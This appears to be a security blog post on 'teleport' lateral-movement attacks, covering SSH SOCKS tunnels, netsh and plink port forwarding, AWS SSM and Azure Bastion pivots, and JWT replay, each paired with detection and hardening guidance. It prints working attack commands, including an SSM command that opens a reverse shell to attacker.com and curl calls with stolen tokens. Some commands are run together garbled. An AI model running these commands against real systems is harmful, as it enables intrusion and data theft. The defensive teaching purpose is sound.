Listen to this Post
Introduction:
Teleport attacks, a term popularized by offensive security researchers like Adam Chester (whose BlackHat USA 2026 talk “Beam Me Up, Luke: A Review of Teleport Attack Scenarios” promises to be a milestone), refer to techniques that allow an attacker to “beam” across network boundaries – bypassing firewalls, VLANs, and identity controls by hijecting legitimate communication channels. These methods include SSH dynamic tunneling, SOCKS proxies, Windows remote port forwarding, and cloud-specific pivots such as abusing AWS SSM or Azure Bastion as covert relay nodes. Understanding teleportation is critical for modern purple teams, as traditional perimeter defenses fail once an adversary gains initial foothold and uses existing protocols to move laterally without triggering new connection alerts.
Learning Objectives:
- Understand and simulate teleport attack vectors including SSH reverse tunneling, HTTP/SOCKS proxying, and Windows netsh port forwarding.
- Execute lateral movement techniques across Linux and Windows environments using native tools and living-off-the-land binaries.
- Implement defensive measures such as egress filtering, SSH configuration hardening, cloud identity monitoring, and EDR telemetry analysis.
You Should Know:
- SSH Dynamic Tunneling – The Ultimate Teleport Vehicle
Step‑by‑step guide explaining what this does and how to use it:
SSH dynamic tunneling turns your local machine into a SOCKS proxy that routes all traffic through the remote server. This allows you to “teleport” your browser, Nmap scans, or custom tools into the remote network without needing to install anything on the target.
Linux / macOS (attacker machine):
Create a SOCKS proxy on local port 1080 that tunnels through compromised server ssh -D 1080 [email protected] Route tools through the proxy using proxychains sudo apt install proxychains4 Edit /etc/proxychains4.conf and add: socks5 127.0.0.1 1080 proxychains4 nmap -sT -Pn internal-target-ip proxychains4 curl http://internal-web-server/
Windows (using built‑in OpenSSH client):
Windows 10/11 with OpenSSH Client installed ssh -D 1080 [email protected] -N Then configure applications (e.g., Firefox) to use SOCKS5 proxy 127.0.0.1:1080
Detection & Mitigation:
- Monitor for unusual SSH command lines containing `-D` or `-R` flags.
- Enforce SSH force commands or restrict shell access for service accounts.
- Use egress filtering to block outbound SSH from non‑bastion hosts.
- Windows Reverse Port Forwarding – Teleporting from Internal to External
Step‑by‑step guide explaining what this does and how to use it:
If you compromise a Windows host inside a locked‑down network, you can use `netsh` (native) or `plink` (PuTTY’s command‑line) to forward an internal RDP or SMB port to your attacker machine, effectively teleporting services outside.
Using netsh (requires admin privileges):
On compromised Windows (internal) – forward port 3389 (RDP) to attacker's IP 10.0.0.5:9000 netsh interface portproxy add v4tov4 listenport=9000 listenaddress=0.0.0.0 connectport=3389 connectaddress=10.0.0.5 Verify netsh interface portproxy show all Cleanup netsh interface portproxy delete v4tov4 listenport=9000
Using plink (no admin required):
On compromised Windows – create reverse SSH tunnel to attacker's SSH server plink.exe -ssh -R 9000:localhost:3389 [email protected] -pw password Now attacker can connect to localhost:9000 to RDP into the Windows host
Mitigation:
- Disable `IPHLPSVC` (IP Helper service) if not needed to prevent portproxy abuse.
- Block outbound SSH except to known bastion hosts via Windows Firewall.
- Monitor `netsh portproxy` events (Event ID 8000‑8004 in Microsoft‑Windows‑NetworkSecurity/Operational).
- Cloud Teleport: Exploiting and Hardening AWS SSM & Azure Bastion
Step‑by‑step guide explaining what this does and how to use it:
Cloud “teleport” attacks abuse management services like AWS Systems Manager (SSM) or Azure Bastion to pivot into private subnets without any inbound firewall holes. An attacker with compromised IAM credentials can issue commands directly to EC2 instances or VMs.
Abusing AWS SSM (attacker perspective):
Assume compromised IAM user has ssm:SendCommand and ec2:DescribeInstances aws ssm describe-instances --region us-east-1 aws ssm send-command --instance-ids i-12345 --document-name "AWS-RunShellScript" --parameters commands="whoami;curl http://internal-service" --region us-east-1 Persistent teleport: start a reverse shell using SSM RunShellScript aws ssm send-command --instance-ids i-12345 --document-name "AWS-RunShellScript" --parameters 'commands=["bash -i >& /dev/tcp/attacker.com/4444 0>&1 &"]'
Azure Bastion tunneling (conceptual):
- Bastion acts as a managed jump host. If you compromise a user with `Microsoft.Network/bastionHosts/…` write permissions, you can modify Bastion configuration to tunnel RDP/SSH to any VM.
- Use Azure CLI with stolen token:
az network bastion rdp --name MyBastion --resource-group MyRG --target-resource-id /subscriptions/.../vm-01
Hardening:
- Enforce least‑privilege for SSM actions – never allow `SendCommand` without MFA or approval workflows.
- Enable AWS CloudTrail and Azure Monitor alerts for `SendCommand` or Bastion session modifications.
- Use VPC endpoint policies to restrict SSM actions to specific instance IDs.
- API Session Hijacking – Token Teleportation Across Microservices
Step‑by‑step guide explaining what this does and how to use it:
Modern teleport attacks don’t just move packets; they move identities. By stealing a JWT or API key from one service, an attacker can “teleport” that session into a different API gateway, bypassing authentication.
Capture a JWT (e.g., via XSS or network sniffing):
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiZXhwIjoyMDAwMDAwMDAwfQ.sflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Replay the token to other API endpoints:
curl -H "Authorization: Bearer <jwt>" https://internal-api.company.com/admin/users curl -H "X-API-Key: <stolen-key>" https://another-service/export-data
Mitigation:
- Bind JWT to audience (
audclaim) and issuer (iss) specific to each service. - Use short‑lived tokens (5‑15 minutes) and implement token rotation.
- Deploy API gateway policies that validate source IP or device fingerprint against session context.
- Detecting Teleport Attacks – EDR Rules and Log Analysis
Step‑by‑step guide explaining what this does and how to use it:
Traditional network detection fails because teleport attacks use allowed protocols (SSH, HTTPS). You must build behavioral detections on endpoints and cloud logs.
Linux detection – unusual SSH daemon child processes:
Audit rule to monitor sshd for non‑shell exec auditctl -a always,exit -S execve -C uid!=euid -k SSH_TELEPORT Look for commands like: sshd: user [bash] then sshd: [bash] /bin/bash -i
Windows detection – PowerShell commands tunneled via SSH:
Monitor Event ID 4688 (ProcessCreation) with `ssh.exe` and `-R` or -L. Example Sigma rule:
title: Suspicious SSH Tunneling logsource: product=windows detection: selection: Image|endswith: '\ssh.exe' CommandLine|contains: - '-R' - '-L' - '-D' condition: selection
Cloud detection – AWS CloudTrail:
-- Athena query for teleport indicators
SELECT userIdentity.arn, eventName, requestParameters.instanceIds
FROM cloudtrail_logs
WHERE eventName IN ('SendCommand', 'StartSession')
AND sourceIPAddress NOT IN (SELECT known_bastion_ips FROM whitelist)
Response: Automatically quarantine instances that perform unusual SSH tunneling – e.g., using AWS Systems Manager automation or Azure Automation Account to apply NSG deny rules.
6. Mitigation: Zero Trust Teleport Stoppers
Step‑by‑step guide explaining what this does and how to use it:
You cannot simply block SSH or RDP. Instead, implement teleport‑proof architecture:
Step 1 – Enforce outbound SSH allow‑list with iptables / Windows Firewall:
Linux (egress firewall) iptables -A OUTPUT -p tcp --dport 22 -d 10.0.0.0/8 -j ACCEPT iptables -A OUTPUT -p tcp --dport 22 -j DROP
Step 2 – Deploy SSH ForceCommand + restricted shells for all jump hosts:
In /etc/ssh/sshd_config Match Group teleport-users ForceCommand /bin/rbash AllowTcpForwarding no PermitOpen none
Step 3 – Use network micro‑segmentation with eBPF or service meshes (Istio, Cilium) to block lateral teleportation even if credentials are stolen.
Example Cilium network policy:
apiVersion: cilium.io/v2 kind: CiliumNetworkPolicy metadata: name: deny-ssh-tunnel spec: endpointSelector: matchLabels: role: app-server egress: - toPorts: - ports: - port: "22" protocol: TCP rules: http: - method: "CONNECT"
Step 4 – User and Entity Behavior Analytics (UEBA) for teleport patterns:
Flag `ssh` from a workstation that has never done so before, or RDP logins from a server that just created a tunnel.
What Undercode Say:
- Teleport attacks weaponize legitimate protocols and cloud management planes – traditional firewalls are blind to them. The only reliable detection lies in endpoint behavioral monitoring (e.g., unexpected `ssh -D` execution) and cloud activity anomalies.
- Mitigation requires a shift from network‑centric to identity‑based zero trust: enforce just‑in-time access, bastion‑host mandatory routing, and micro‑segmentation that prevents lateral movement even after a tunnel is established.
Prediction:
By 2028, teleport attacks will be the default vector for ransomware groups and APTs, moving away from noisy exploits to silent, protocol‑based pivots across hybrid clouds. We will see a rise in “teleport detection engines” that analyze SSH session metadata, RDP transfer rates, and SSM command frequencies using AI/ML models – turning BlackHat talks like Adam Chester’s into mandatory training for every blue team. Defenders who ignore teleport scenarios will find their networks beamed open from the inside.
▶️ Related Video (64% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Xpn My – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
